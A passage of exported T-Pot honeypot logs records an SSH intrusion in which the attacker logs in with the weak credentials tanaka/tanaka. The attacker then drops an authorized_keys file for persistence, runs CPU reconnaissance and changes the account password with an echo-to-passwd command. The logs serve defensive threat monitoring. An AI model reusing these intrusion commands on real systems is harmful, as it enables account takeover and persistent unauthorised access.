"107.0.200.227", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:11.982389Z", "@timestamp": "2021-09-20T11:47:11.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31647	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:12.609344+03	2021-09-20 15:00:02.442716+03	{"_id": "nwYIA3wBvYTbRNuEEUV_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.login.success", "message": "login attempt [tanaka/tanaka] succeeded", "session": "4e9d2d017091", "@version": "1", "password": "tanaka", "username": "tanaka", "timestamp": "2021-09-20T11:47:12.609344Z", "@timestamp": "2021-09-20T11:47:12.609Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
31648	107.0.200.227	109.199.241.180	Suricata	2021-09-20 14:47:13.012898+03	2021-09-20 15:00:02.444717+03	{"_id": "oQYIA3wBvYTbRNuEE0Ue", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "flow_id": 1860377780442063, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57920, "dest_port": 22, "timestamp": "2021-09-20T11:47:13.012898Z", "@timestamp": "2021-09-20T11:47:13.012Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31849	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:56.723962+03	2021-09-20 15:00:02.703717+03	{"_id": "rgYIA3wBvYTbRNuEvUZ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:56.723962Z", "@timestamp": "2021-09-20T11:47:56.723Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31649	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:47:12.881248+03	2021-09-20 15:00:02.445717+03	{"_id": "ogYIA3wBvYTbRNuEFEUf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.0.200.227", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57920, "timestamp": "2021-09-20T11:47:12.881248", "@timestamp": "2021-09-20T11:47:12.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31650	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:15.265809+03	2021-09-20 15:00:02.446717+03	{"_id": "sQYIA3wBvYTbRNuEHUU6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "107.0.200.227", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "4e9d2d017091", "@version": "1", "destfile": "/home/tanaka/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:47:15.265809Z", "@timestamp": "2021-09-20T11:47:15.265Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
31651	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:15.556544+03	2021-09-20 15:00:02.448716+03	{"_id": "swYIA3wBvYTbRNuEHUU6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:15.556544Z", "@timestamp": "2021-09-20T11:47:15.556Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31652	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:14.99769+03	2021-09-20 15:00:02.449716+03	{"_id": "tAYIA3wBvYTbRNuEHUU8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:14.997690Z", "@timestamp": "2021-09-20T11:47:14.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31653	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:15.557092+03	2021-09-20 15:00:02.450718+03	{"_id": "tQYIA3wBvYTbRNuEHUU8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:15.557092Z", "@timestamp": "2021-09-20T11:47:15.557Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31654	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:16.624958+03	2021-09-20 15:00:02.452717+03	{"_id": "tgYIA3wBvYTbRNuEIUUk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:16.624958Z", "@timestamp": "2021-09-20T11:47:16.624Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31655	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:16.103508+03	2021-09-20 15:00:02.453717+03	{"_id": "uQYIA3wBvYTbRNuEIUUk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "echo -e \\"tanaka\\\\ntKFqSD4SGTzt\\\\ntKFqSD4SGTzt\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"tanaka\\\\ntKFqSD4SGTzt\\\\ntKFqSD4SGTzt\\"|passwd|bash", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:16.103508Z", "@timestamp": "2021-09-20T11:47:16.103Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31656	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:16.625515+03	2021-09-20 15:00:02.454717+03	{"_id": "uAYIA3wBvYTbRNuEIUUk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "echo \\"tanaka\\\\ntKFqSD4SGTzt\\\\ntKFqSD4SGTzt\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: echo \\"tanaka\\\\ntKFqSD4SGTzt\\\\ntKFqSD4SGTzt\\\\n\\"|passwd", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:16.625515Z", "@timestamp": "2021-09-20T11:47:16.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31657	107.0.200.227	109.199.241.180	Suricata	2021-09-20 14:47:11.981803+03	2021-09-20 15:00:02.455717+03	{"_id": "lQYIA3wBvYTbRNuED0U0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:47:11.712678+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 74487429062630, "payload": "AAADzAYUKWOLude3FzP1BfiZuLDqqwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57830, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:47:11.981803Z", "@timestamp": "2021-09-20T11:47:11.981Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......)c.....3...........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31658	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:47:11.850295+03	2021-09-20 15:00:02.457717+03	{"_id": "lgYIA3wBvYTbRNuEEEU2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.0.200.227", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57830, "timestamp": "2021-09-20T11:47:11.850295", "@timestamp": "2021-09-20T11:47:11.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31659	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:11.84896+03	2021-09-20 15:00:02.458716+03	{"_id": "oAYIA3wBvYTbRNuEEUV_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "4e9d2d017091", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:47:11.848960Z", "@timestamp": "2021-09-20T11:47:11.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31660	107.0.200.227	109.199.241.180	Fatt	2021-09-20 14:47:13.014223+03	2021-09-20 15:00:02.460717+03	{"_id": "owYIA3wBvYTbRNuEFEUf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57920, "dest_port": 22, "timestamp": "2021-09-20T11:47:13.014223", "@timestamp": "2021-09-20T11:47:13.014Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
